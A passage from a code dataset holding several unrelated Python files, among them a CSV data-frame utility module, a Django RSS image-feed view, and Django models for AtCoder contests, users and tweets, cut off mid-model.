made\")\n save_result(255 * img, args.save_dir,\n image_name)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"binarization/pyramid_class.py","file_name":"pyramid_class.py","file_ext":"py","file_size_in_byte":8390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"521244997","text":"\r\n# O(NKLOGK) TIME | O(NK) SPACE N - NUMBER OF WORDS AND K IS THE LENGTH OF THE WORDS\r\nclass Solution:\r\n def groupAnagrams(self, strs):\r\n\r\n grouped = {}\r\n\r\n for word in strs:\r\n key = \"\".join(sorted(word))\r\n\r\n if key in grouped:\r\n grouped[key].append(word)\r\n else:\r\n grouped[key] = [word]\r\n\r\n return list(grouped.values())\r\n","sub_path":"Strings/LC49_groupAnagrams.py","file_name":"LC49_groupAnagrams.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"448520440","text":"from pathlib import Path\nimport json\nimport sys\nimport os\n\nroot = sys.argv[1]\nif not root.endswith('/'): root += '/'\n\ndd = dict()\nfor path in Path(root).rglob('db_config.json'):\n dx = dd\n for p in str(path).lstrip(root).split('/')[:-2]:\n if p not in dx.keys():\n dx[p] = {}\n dx = dx[p]\n dx[str(path).lstrip(root).split('/')[-2]] = os.path.abspath(str(path).rstrip('db_config.json'))\n \nff = open('./api_gui/dbs.json','wt')\njson.dump(dd, ff)\nff.close()\n","sub_path":"fill_dbs.py","file_name":"fill_dbs.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"369485005","text":"\"\"\"\nThe module describes the form that will\nbe displayed when adding a new department.\n\"\"\"\n\nfrom django.forms import ModelForm, TextInput\nfrom department.models.department import Department\n\n\nclass DepartmentForm(ModelForm):\n \"\"\"\n The class inherits from ModelForm and creates\n fields of type equal to the fields of the model\n \"\"\"\n\n class Meta:\n model = Department\n fields = ['name']\n\n widgets = {\"name\": TextInput(attrs={\n 'class': 'form-control',\n 'placeholder': 'Enter name of department...'\n })}\n","sub_path":"web-app/management/department/forms/department.py","file_name":"department.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"554180802","text":"import csv\nimport json\nimport re\n\ndef extractsingleseqsites(df_list, table_ind, action_obj):\n\n site_aa_list = [\"S\",\"T\",\"Y\",\"K\",\"D\",\"E\"]\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n peptide_start_field = action_obj[\"input_fields\"][\"peptide_start_field\"]\n peptide_seq_field = action_obj[\"input_fields\"][\"peptide_seq_field\"]\n sites_field = action_obj[\"output_fields\"][\"sites_field\"]\n\n row_list = []\n for row in data_frame[\"data\"]:\n peptide_seq = row[field_list.index(peptide_seq_field)].upper()\n peptide_start = int(row[field_list.index(peptide_start_field)])\n site_list = []\n for aa in site_aa_list:\n pos_list = [pos.start() for pos in re.finditer(aa, peptide_seq)]\n for pos in pos_list:\n site_list.append(\"%s%s\" % (aa,pos+peptide_start))\n sites = \";\".join(site_list)\n newrow = row + [sites]\n row_list.append(newrow)\n\n\n new_data_frame = {}\n new_data_frame[\"fields\"] = \"\"\n new_data_frame[\"fields\"] = field_list + [sites_field]\n new_data_frame[\"data\"] = row_list\n\n return new_data_frame\n\n\n\n\ndef extractpeptideranges(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n sequence_field = action_obj[\"input_fields\"][\"sequence_field\"]\n peptide_field = action_obj[\"input_fields\"][\"peptide_field\"]\n start_pos_field = action_obj[\"output_fields\"][\"start_pos_field\"]\n end_pos_field = action_obj[\"output_fields\"][\"end_pos_field\"]\n repeat_count_field = action_obj[\"output_fields\"][\"repeat_count_field\"]\n\n row_list = []\n for row in data_frame[\"data\"]:\n sequence = row[field_list.index(sequence_field)].upper()\n peptide = row[field_list.index(peptide_field)].upper()\n pos_list = [pos.start() for pos in re.finditer(peptide, sequence)]\n site_count = len(pos_list)\n if site_count == 0:\n newrow = row + [\"-1\", \"-1\", \"0\"]\n row_list.append(newrow)\n else:\n for pos in pos_list:\n start_pos = pos + 1\n end_pos = pos + len(peptide)\n newrow = row + [str(start_pos), str(end_pos), str(site_count)]\n row_list.append(newrow)\n\n\n new_data_frame = {}\n new_data_frame[\"fields\"] = field_list + [start_pos_field, end_pos_field, repeat_count_field]\n new_data_frame[\"data\"] = row_list\n \n return new_data_frame\n\n\ndef extractseqsites(df_list, table_ind, action_obj):\n \n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n\n \n row_list = []\n for row in data_frame[\"data\"]:\n pep_start = row[field_list.index(action_obj[\"start_pos_field\"])]\n pep_end = row[field_list.index(action_obj[\"end_pos_field\"])]\n seq = row[field_list.index(action_obj[\"seq_field\"])]\n pep,start_aa, end_aa = \"\", \"\", \"\"\n if pep_start.isdigit() == False or pep_end.isdigit() == False:\n pep = \"NA\"\n start_aa = \"NA\"\n end_aa = \"NA\"\n row_list.append(row + [pep, start_aa, end_aa])\n continue\n if int(pep_start) > int(pep_end) or seq.strip() == \"\":\n pep = \"NA\"\n start_aa = \"NA\"\n end_aa = \"NA\"\n row_list.append(row + [pep, start_aa, end_aa])\n continue\n if int(pep_start) > len(seq) or int(pep_end) > len(seq):\n pep = \"position outside of reference\"\n start_aa = \"NA\"\n end_aa = \"NA\"\n row_list.append(row + [pep, start_aa, end_aa])\n continue\n pep = seq[int(pep_start)-1:int(pep_end)]\n start_aa, end_aa = pep[0], pep[-1]\n row_list.append(row + [pep, start_aa, end_aa])\n \n data_frame[\"fields\"] += [action_obj[\"pep_field\"]]\n data_frame[\"fields\"] += [action_obj[\"start_aa_field\"]]\n data_frame[\"fields\"] += [action_obj[\"end_aa_field\"]]\n data_frame[\"data\"] = row_list\n\n return data_frame\n\n\ndef split_col(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n \n field_idx = field_list.index(action_obj[\"field\"])\n delim = action_obj[\"delim\"]\n new_field_list = field_list[0:field_idx + 1] + action_obj[\"newfields\"] \n new_field_list += field_list[field_idx+1:]\n\n row_list = []\n for row in data_frame[\"data\"]:\n val_list = row[field_idx]\n newrow = row[0:field_idx+1] + row[field_idx].split(delim) + row[field_idx+1:]\n row_list.append(newrow)\n \n data_frame[\"data\"] = row_list\n data_frame[\"fields\"] = new_field_list\n\n return data_frame\n\n\n\ndef add_average_col(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n \n row_grps = {}\n for row in data_frame[\"data\"]:\n key_list = []\n for f in action_obj[\"anchorfields\"]:\n key_list.append(row[field_list.index(f)])\n group_key = \" \".join(key_list)\n if group_key not in row_grps:\n row_grps[group_key] = []\n row_grps[group_key].append(row)\n\n row_list = []\n for group_key in row_grps:\n x_count, x_sum, x_max,x_min = 0.0, 0.0, -100000.0, 1000000.0\n for row in row_grps[group_key]:\n x = float(row[field_list.index(action_obj[\"field\"])])\n x_sum += x\n x_count += 1.0\n x_average = \"%.5f\" % (x_sum/x_count)\n for row in row_grps[group_key]:\n newrow = row + [x_average]\n row_list.append(newrow)\n \n data_frame[\"data\"] = row_list\n data_frame[\"fields\"] = field_list + [action_obj[\"newfield\"]]\n return data_frame\n\n\n\n \n\ndef add_normalized_col(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n \n row_grps = {}\n for row in data_frame[\"data\"]:\n key_list = []\n for f in action_obj[\"anchorfields\"]:\n key_list.append(row[field_list.index(f)])\n group_key = \" \".join(key_list)\n if group_key not in row_grps:\n row_grps[group_key] = []\n row_grps[group_key].append(row)\n\n row_list = []\n for group_key in row_grps:\n x_sum, x_max,x_min = 0.0, -100000.0, 1000000.0\n for row in row_grps[group_key]:\n x = float(row[field_list.index(action_obj[\"field\"])])\n x_max = x if x > x_max else x_max\n x_min = x if x < x_min else x_min\n x_sum += x\n\n for row in row_grps[group_key]:\n x = float(row[field_list.index(action_obj[\"field\"])])\n #x_normalized = (x-x_min)/(x_max-x_min)\n x_normalized = \"%.5f\" % (x/x_sum)\n newrow = row + [x_normalized]\n row_list.append(newrow)\n\n\n data_frame[\"data\"] = row_list\n data_frame[\"fields\"] = field_list + [action_obj[\"newfield\"]]\n return data_frame\n\n\n\ndef transpose_cols(df_list, table_ind, action_obj):\n \n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n start_col_idx = action_obj[\"startcolidx\"]\n new_field_one = action_obj[\"newfieldone\"]\n new_field_two = action_obj[\"newfieldtwo\"]\n\n row_list = []\n field_list_new = field_list[0:start_col_idx] + [new_field_one, new_field_two]\n for row in data_frame[\"data\"]:\n for j in range(start_col_idx, len(row)):\n v = row[j]\n newrow = row[0:start_col_idx] + [field_list[j],v]\n row_list.append(newrow)\n\n data_frame[\"data\"] = row_list\n data_frame[\"fields\"] = field_list_new\n\n return data_frame\n\n\ndef expand_rows(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n expansion_field = action_obj[\"expansionfield\"]\n expansion_delim = action_obj[\"expansiondelim\"]\n row_list = []\n for row in data_frame[\"data\"]:\n field_idx = field_list.index(expansion_field)\n val_list = list(set(row[field_idx].strip().split(expansion_delim)))\n \n for val in val_list:\n tmprow = []\n for j in range(0, len(row)):\n tmprow.append(row[j] if j != field_idx else val)\n row_list.append(tmprow)\n \n data_frame[\"data\"] = row_list\n\n return data_frame\n\n\ndef filter_out_records(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n\n row_list = []\n for row in data_frame[\"data\"]:\n flag_list = []\n for obj in action_obj[\"conditionlist\"]:\n cond_field = obj[\"field\"]\n cond_value = obj[\"value\"]\n data_value = row[field_list.index(cond_field)]\n if obj[\"operation\"] == \"in\":\n flag_list.append(data_value in cond_value)\n\n flag_list_unique = list(set(flag_list))\n if len(flag_list) == len(action_obj[\"conditionlist\"]) and flag_list_unique == [True]:\n continue\n row_list.append(row)\n\n data_frame[\"data\"] = row_list\n return data_frame\n\n\ndef filter_in_records(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n\n row_list = []\n for row in data_frame[\"data\"]:\n flag_list = []\n for obj in action_obj[\"conditionlist\"]:\n cond_field = obj[\"field\"]\n cond_value = obj[\"value\"]\n data_value = row[field_list.index(cond_field)]\n if obj[\"operation\"] == \"in\":\n flag_list.append(data_value in cond_value)\n\n flag_list_unique = list(set(flag_list))\n if len(flag_list) == len(action_obj[\"conditionlist\"]) and flag_list_unique == [True]:\n row_list.append(row)\n\n data_frame[\"data\"] = row_list\n return data_frame\n\n\n\ndef add_combo_field(df_list, table_ind, action_obj):\n\n field_list = df_list[table_ind][\"fields\"] + [action_obj[\"combofield\"]]\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n \n\n for row in data_frame[\"data\"]:\n extra_row = []\n for f in action_obj[\"fieldlist\"]:\n extra_row.append(row[field_list.index(f)].replace(\"\\\"\", \"\").strip())\n row += [action_obj[\"merge_char\"].join(extra_row)]\n\n return data_frame\n\n\ndef add_constant_fields(df_list, table_ind, new_data):\n\n new_data_field_list = new_data.keys()\n field_list = df_list[table_ind][\"fields\"] + new_data_field_list\n data_frame = {\"fields\":field_list, \"data\":df_list[table_ind][\"data\"]}\n\n extra_row = []\n for f in new_data_field_list:\n extra_row.append(new_data[f])\n for row in data_frame[\"data\"]:\n row += extra_row\n\n return data_frame\n\n\n\n\n\ndef union_tables(df_list,ind_list):\n\n out_tbl = []\n first_ind = ind_list[0] - 1\n for i in ind_list:\n ind = i - 1\n out_tbl += df_list[ind][\"data\"]\n \n seen = {}\n data_frame = {\"fields\":df_list[first_ind][\"fields\"], \"data\":[]}\n for row in out_tbl:\n row_str = json.dumps(row)\n if row_str in seen:\n continue\n data_frame[\"data\"].append(row)\n seen[row_str] = True\n\n return data_frame\n\n\ndef load_large_sheet(sheet_obj, in_file, field_list, separator):\n\n import sys\n #reload(sys)\n #sys.setdefaultencoding('utf-8')\n import io\n\n sheet_obj[\"fields\"] = []\n sheet_obj[\"data\"] = []\n seen = {}\n field_ind_list = []\n \n #with io.open(in_file, \"r\") as FR:\n with io.open(in_file, \"r\", encoding=\"utf-8-sig\",errors=\"ignore\") as FR:\n rowcount = 0\n ncols = 0\n for line in FR:\n row = line.strip().split(separator)\n #row[0] = row[0].split(\"\\\"\")[1]\n row[0] = row[0].replace(\"\\\"\", \"\")\n row[-1] = row[-1].replace(\"\\\"\", \"\")\n rowcount += 1\n if rowcount == 1:\n for j in range(0, len(row)):\n row[j] = row[j].strip().replace(\"\\\"\", \"\")\n bad_fields = []\n for f in field_list:\n if f not in row:\n bad_fields.append(f)\n if bad_fields != []:\n print (\"input file:\", in_file)\n print (\"fields in file:\", row)\n print (\"fields for extraction:\", field_list)\n print (\"non matching fields: \", bad_fields)\n sys.exit()\n\n \n #capture number of columns here\n ncols = len(row)\n field_list = row if field_list == [] else field_list\n for f in field_list:\n field_index = row.index(f)\n if field_index != -1:\n sheet_obj[\"fields\"].append(f)\n field_ind_list.append(field_index)\n else:\n #make sure every row has ncols columns\n if len(row) != ncols:\n print (\"bad row %s\" % (rowcount))\n print (row)\n sys.exit()\n new_row = []\n for j in field_ind_list:\n new_row.append(row[j].strip())\n if json.dumps(new_row) not in seen:\n sheet_obj[\"data\"].append(new_row)\n seen[json.dumps(new_row)] = True\n return\n\n\ndef load_sheet_as_dict(sheet_obj, in_file, separator, anchor_field):\n\n\n seen = {}\n \n if \"fields\" not in sheet_obj:\n sheet_obj[\"fields\"] = []\n if \"data\" not in sheet_obj:\n sheet_obj[\"data\"] = {}\n\n\n f_list = []\n with open(in_file, 'r') as FR:\n csv_grid = csv.reader(FR, delimiter=separator, quotechar='\\\"')\n row_count = 0\n for row in csv_grid:\n if json.dumps(row) in seen:\n continue\n seen[json.dumps(row)] = True\n row_count += 1\n if row_count == 1:\n f_list = row\n anchor_field = row[0] if anchor_field == \"\" else anchor_field\n for j in range(0, len(row)):\n if row[j] == anchor_field:\n continue\n sheet_obj[\"fields\"].append(row[j].strip().replace(\"\\\"\", \"\"))\n else:\n new_row = []\n for j in range(0, len(row)):\n if f_list[j] == anchor_field:\n continue\n new_row.append(row[j].strip().replace(\"\\\"\", \"`\"))\n main_id = row[f_list.index(anchor_field)]\n if main_id not in sheet_obj[\"data\"]:\n sheet_obj[\"data\"][main_id] = [] \n sheet_obj[\"data\"][main_id].append(new_row)\n return\n\n\ndef load_sheet_from_fasta(sheet_obj, in_file, field_list):\n\n from Bio import SeqIO\n\n sheet_obj[\"fields\"] = field_list\n sheet_obj[\"data\"] = []\n for record in SeqIO.parse(in_file, \"fasta\"):\n seq_id = record.id\n if record.id.find(\"|\") != -1:\n seq_id = record.id.split(\"|\")[1]\n seq_desc = \" \".join(record.description.split(\" \")[1:])\n row = [seq_id, seq_desc, str(record.seq.upper())]\n sheet_obj[\"data\"].append(row)\n\n return\n\n\n\n\ndef load_sheet_from_json(sheet_obj, in_file, field_list):\n\n sheet_obj[\"fields\"] = field_list\n sheet_obj[\"data\"] = []\n doc = json.loads(open(in_file, \"r\").read())\n for obj in doc:\n val_dict = {}\n for prop_lineage in field_list:\n val = obj\n for prop in prop_lineage.split(\".\"):\n if prop in val:\n val = val[prop]\n else:\n val = \"\"\n val_dict[prop_lineage] = val\n row = []\n for f in field_list:\n val = str(val_dict[f]) if f in val_dict else \"\"\n row.append(val)\n sheet_obj[\"data\"].append(row)\n \n return\n\ndef get_sheet_stats(in_file, separator):\n\n seen_row, seen_id = {}, {}\n row_count, id_count, field_count = 0, 0, 0\n with open(in_file, 'r') as FR:\n csv_grid = csv.reader(FR, delimiter=\",\", quotechar='\\\"')\n idx = 0\n for row in csv_grid:\n if json.dumps(row) in seen_row:\n continue\n seen_row[json.dumps(row)] = True\n if idx == 0:\n field_count = len(row)\n else:\n row_count += 1\n seen_id[row[0]] = True\n idx += 1\n id_count = len(list(seen_id.keys()))\n\n return field_count, row_count, id_count\n\n\ndef load_sheet(sheet_obj, in_file, field_list, separator):\n\n seen = {}\n sheet_obj[\"fields\"] = []\n sheet_obj[\"data\"] = []\n field_ind_list = []\n with open(in_file, 'r') as FR:\n csv_grid = csv.reader(FR, delimiter=\",\", quotechar='\\\"')\n row_count = 0\n ncols = 0\n for row in csv_grid:\n if json.dumps(row) in seen:\n continue\n seen[json.dumps(row)] = True\n row_count += 1\n for j in range(0, len(row)):\n row[j] = row[j].replace(\"\\\"\", \"`\")\n if row_count == 1:\n ncols = len(row)\n for j in range(0, len(row)):\n f = row[j].strip()\n if field_list != [] and f in field_list:\n field_ind_list.append(j)\n sheet_obj[\"fields\"].append(f)\n else:\n field_ind_list.append(j)\n sheet_obj[\"fields\"].append(f)\n else:\n #make sure every row has ncols columns\n if len(row) != ncols:\n continue\n new_row = []\n for j in field_ind_list:\n new_row.append(row[j].strip())\n sheet_obj[\"data\"].append(new_row)\n\n \n \n return\n\n\ndef load_workbook(workbook_obj, fileset_objlist, separator):\n\n for obj in fileset_objlist:\n for file_name in obj[\"filenamelist\"]:\n in_file = obj[\"dir\"] + file_name\n workbook_obj[\"sheets\"][file_name] = {}\n load_sheet(workbook_obj[\"sheets\"][file_name], in_file, \",\")\n\n return\n\n\n\ndef join_tables(df_one, df_two, anchor_fields):\n #It is assumed that the first column in both tables are the anchor columns\n \n df_three = {\"fields\":[], \"data\":[]}\n df_three[\"fields\"] = []\n for f in df_one[\"fields\"]:\n df_three[\"fields\"].append(f)\n\n for f in df_two[\"fields\"]:\n if f != anchor_fields[1]:\n df_three[\"fields\"].append(f)\n\n row_dict_two = {}\n for row in df_two[\"data\"]:\n anchor_id = row[df_two[\"fields\"].index(anchor_fields[1])]\n if anchor_id not in row_dict_two:\n row_dict_two[anchor_id] = []\n newrow = []\n for j in range(0, len(df_two[\"fields\"])):\n if df_two[\"fields\"][j] != anchor_fields[1]:\n newrow.append(row[j])\n row_dict_two[anchor_id].append(newrow)\n\n row_two_empty = []\n for j in range(1, len(df_two[\"fields\"])):\n row_two_empty.append(\"\")\n\n\n for row_one in df_one[\"data\"]:\n anchor_id = row_one[df_one[\"fields\"].index(anchor_fields[0])]\n if anchor_id in row_dict_two:\n for row_two in row_dict_two[anchor_id]:\n df_three[\"data\"].append(row_one + row_two)\n else:\n df_three[\"data\"].append(row_one + row_two_empty)\n\n\n return df_three\n\n\n\n\n\n\n\n","sub_path":"dataset-maker/csvutil.py","file_name":"csvutil.py","file_ext":"py","file_size_in_byte":19682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"136645878","text":"# -*- coding: utf-8 -*-\nfrom subprocess import check_output\nfrom os.path import join\nimport sys\nreload(sys)\nsys.setdefaultencoding(\"utf-8\")\n\nrepo_path = check_output(\"git rev-parse --show-toplevel\", shell=True).rstrip() # rstrip to strip out '\\n'\nphoto_path = join(repo_path, 'src/download/')\n\n# Beijing station GPS coordinator\nlat, lon = 39.9036609, 116.4273389\n# Beijing gps coordinator in square for downloading photos from flickr\nlat_range = (39.821364, 40.004645)\nlon_range = (116.198635, 116.561527)\n\n# hash tags to added at the end of weibo msg\nhashtags = u' #北京# #北京摄影# #Beijing#'","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"535223608","text":"from django.core.handlers.base import logger\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response\nfrom django.template.context import RequestContext\nfrom BeardlyImageApp.models import UsersSubscriptions, SubscriptionItem, Subscription\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nimport feedparser\nimport re\nimport requests\nimport django.utils.timezone as timezone\nfrom dateutil import parser\n\n\ndef feed(request, subscription_id):\n arg = {}\n feed_items_list = []\n sub = [(-1, 'Все')]\n try:\n current_user = request.user\n current_subscription_id = int(subscription_id)\n subscriptions = UsersSubscriptions.objects.filter(User=current_user)\n\n is_correct = False\n for _subscription in subscriptions:\n if current_subscription_id == _subscription.Subscription.id:\n is_correct = True\n sub.append((_subscription.Subscription.id, _subscription.Subscription.Name))\n\n if not is_correct and current_subscription_id != -1:\n return render_to_response('no_subscriptions.html', RequestContext(request))\n\n if current_subscription_id != -1:\n subscriptions = UsersSubscriptions.objects.filter(\n (Q(User=current_user) & Q(Subscription_id=subscription_id)))\n\n for _subscription in subscriptions:\n subscription_added_date = _subscription.AddedDate.date()\n sub_id = _subscription.Subscription_id\n items = SubscriptionItem.objects.filter( Subscription_id=sub_id ).filter(\n AddedDate__gte=subscription_added_date ).order_by( '-AddedDate' )\n for item in items:\n feed_items_list.append( item )\n\n except Exception as e:\n logger.error( 'Failed to get items ' + str( e ) )\n feed_items_list = []\n\n paginator = Paginator( feed_items_list, 12 )\n page = request.GET.get( 'page' )\n try:\n feed_items = paginator.page( page )\n except PageNotAnInteger:\n feed_items = paginator.page( 1 )\n except EmptyPage:\n feed_items = paginator.page( paginator.num_pages )\n\n arg['feedItems'] = feed_items\n arg['subscriptions'] = sub\n arg['current_subscription'] = current_subscription_id\n return render_to_response(\"feed.html\", arg, RequestContext(request))\n\n\ndef updateFeed(request):\n current_user = request.user\n pattern = re.compile( r'\\'(http://[^\\'\\\"]+\\.jpe?g)\\'' )\n\n subscriptions = UsersSubscriptions.objects.filter( User=current_user )\n\n for _subscription in subscriptions:\n feed_items_Urls = []\n sub_id = _subscription.Subscription_id\n items = SubscriptionItem.objects.filter(Subscription_id=sub_id )\n sub = Subscription.objects.get( id=sub_id )\n for item in items:\n feed_items_Urls.append( item.ImageUrl )\n\n feed = feedparser.parse( sub.Address )\n for rss_item in feed.entries:\n try:\n published_date = parser.parse( rss_item.published )\n # Text rss_item representation for regexp search\n text = str( rss_item )\n img_url = pattern.search( str( text ) ).group( 1 )\n # Image is very small\n if int( get_image_size( img_url ) ) < 100000:\n continue\n # Image older, than subscription.\n if _subscription.AddedDate.date() > published_date.date():\n continue\n # Image already exists\n if any( x == img_url for x in feed_items_Urls ):\n continue\n else:\n feedItem = SubscriptionItem( )\n feedItem.Subscription = sub\n feedItem.AddedDate = published_date\n feedItem.ImageUrl = img_url\n feedItem.Url = rss_item.link\n feedItem.Description = rss_item['description']\n feedItem.save( )\n feed_items_Urls.append( feedItem.ImageUrl )\n except AttributeError:\n continue\n except Exception as e:\n logger.exception( e.__context__ )\n continue\n sub.LastUpdateDate = timezone.now()\n sub.save( )\n return HttpResponse(status=200)\n\n\ndef get_image_size(url):\n try:\n r = requests.head( url )\n return r.headers['content-length']\n except:\n return 0\n","sub_path":"BeardlyImageApp/views/feed.py","file_name":"feed.py","file_ext":"py","file_size_in_byte":4507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"439528750","text":"# filename: Initialize\r\n\r\ndef initialize(T_inf, T_a, n):\r\n import numpy as np\r\n T = np.zeros((1, n+2)) # Preallocate memory by establishing array of zeroes\r\n for i in range(0, n):\r\n T[0][i] = T_inf - (T_inf - T_a) / (n - 1) * i\r\n\r\n T[0][n] = T_a\r\n T[0][n+1] = T_a\r\n\r\n return T","sub_path":"Python/Greybox/initialize.py","file_name":"initialize.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"145182165","text":"import uuid\nfrom django.db import models\n\n\nclass Contest(models.Model):\n class Meta:\n db_table = 'contests'\n\n class HeldStatus(models.TextChoices):\n PAST = 'past'\n ACTION = 'action'\n UPCOMING = 'upcoming'\n\n class Tag(models.TextChoices):\n AGC = 'AGC' # AtCoder Grand Contest\n ARC = 'ARC' # AtCoder Regular Contest\n ABC = 'ABC' # AtCoder Beginner Contest\n ATC = 'ATC' # AtCoder Typical Contest\n UNOFFICIAL = 'unofficial' # 非公式コンテスト(unrated)\n # JOI = 'JOI' # JOI 過去問: omitted from crawling targets because JOI's date is messed up\n SPONSORED_PARALLEL_TOURNAMENT = 'sponsored_tournament' # 企業コンテスト本番\n # 企業オープンコンテスト(rated)\n SPONSORED_PARALLEL_RATED = 'sponsored_parallel_rated'\n # 企業オープンコンテスト(unrated)\n SPONSORED_PARALLEL_UNRATED = 'sponsored_parallel_unrated'\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n\n # contest information\n contest_id = models.CharField(\n null=False, unique=True, max_length=255, db_index=True)\n contest_name = models.TextField(null=False, blank=True)\n rated_range = models.IntegerField(null=False)\n start_epoch_second = models.BigIntegerField(null=False)\n duration_second = models.IntegerField(null=False)\n held_status = models.CharField(\n null=False, choices=HeldStatus.choices, max_length=10)\n tag = models.CharField(\n null=True, choices=Tag.choices, max_length=50)\n\n # job info for getting a contenst data(such as, contest and tweets) used in AtCoder Stream\n is_job_queued = models.BooleanField(null=False, default=False)\n is_job_completed = models.BooleanField(null=False, default=False)\n\n # meta\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.contest_name\n\n\nclass Country(models.Model):\n \"\"\" Country/Country Code lists supported in AtCoder\"\"\"\n class Meta:\n db_table = 'countries'\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n country = models.CharField(null=False, max_length=100, unique=True)\n country_code = models.CharField(\n null=False, max_length=5, unique=True, db_index=True)\n\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.country\n\n\nclass AtCoderUser(models.Model):\n \"\"\" AtCoder user infomation\n * \"Many to One\" relation\n * AtCoderUser to Country\n \"\"\"\n class Meta:\n db_table = 'atcoder_users'\n ordering = ['-rating']\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n\n # user personal info\n atcoder_id = models.CharField(\n null=False, unique=True, max_length=255, db_index=True, default='chokudai')\n birth_year = models.IntegerField(null=True)\n country = models.ForeignKey(\n null=False, to=Country, to_field='country_code', on_delete=models.DO_NOTHING)\n affiliation = models.TextField(null=True, blank=True)\n avatar_name = models.CharField(null=True, max_length=255)\n twitter_id = models.CharField(\n null=True, unique=False, max_length=255, db_index=True)\n topcoder_id = models.CharField(null=True, unique=False, max_length=100)\n codeforces_id = models.CharField(null=True, unique=False, max_length=100)\n\n # rating & coloring & crown\n rank = models.IntegerField(null=True)\n rating = models.IntegerField(null=True, db_index=True)\n rating_highest = models.IntegerField(null=True)\n rated_matches = models.IntegerField(null=True)\n last_competed_epoch = models.BigIntegerField(null=True)\n\n # for free color user(rating >= 3200)\n color = models.CharField(null=False, max_length=10)\n is_free_color = models.BooleanField(null=False)\n color_hex_code = models.CharField(null=True, max_length=10)\n\n # meta\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.atcoder_id\n\n\nclass TwitterUser(models.Model):\n \"\"\" Twitter user information\n * \"One to One\" relation\n * TwitterUser to AtCoderUser\n \"\"\"\n class Meta:\n db_table = 'twitter_users'\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n\n # id & name\n screen_name = models.CharField( # equal to 'twitter_id'\n null=False, unique=True, max_length=255, db_index=True)\n user_id = models.BigIntegerField(null=False, unique=True, db_index=True)\n user_id_str = models.CharField(null=False, unique=True, max_length=255)\n username = models.CharField(null=False, max_length=255)\n\n # basic twitter user info\n icon = models.TextField(null=False, blank=True)\n description = models.TextField(null=True, blank=True)\n url = models.TextField(null=True, blank=True)\n followers = models.IntegerField(null=False)\n following = models.IntegerField(null=False)\n tweets = models.IntegerField(null=False)\n\n # atcoder info\n atcoder_user = models.OneToOneField(\n to=AtCoderUser, to_field='atcoder_id', on_delete=models.CASCADE, default='chokudai')\n\n # meta\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.screen_name\n\n\nclass Tweet(models.Model):\n \"\"\" Tweets\n * \"Many to One\" relation\n * Tweet to TwitterUser\n \"\"\"\n class Meta:\n db_table = 'tweets'\n ordering = ['-timestamp_epochs']\n\n id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n\n # tweet id & name\n user = models.ForeignKey(\n null=False, to=TwitterUser, to_field='user_id', on_delete=models.CASCADE, default=188888)\n\n # tweet basic data\n tweet_id = models.BigIntegerField(null=False, unique=True)\n tweet_id_str = models.CharField(null=False, unique=True, max_length=255)\n tweet_url = models.TextField(null=False, blank=True)\n timestamp_epochs = models.BigIntegerField(null=False, db_index=True)\n\n # tweet text\n text = models.TextField(null=False, blank=True)\n links = models.TextField(null=True, blank=True)\n hashtags = models.TextField(null=True, blank=True)\n\n # tweet media\n has_media = models.BooleanField(null=False)\n img_urls = models.TextField(null=True, blank=True)\n video_url = models.TextField(null=True, blank=True)\n\n # tweet actions numbers\n 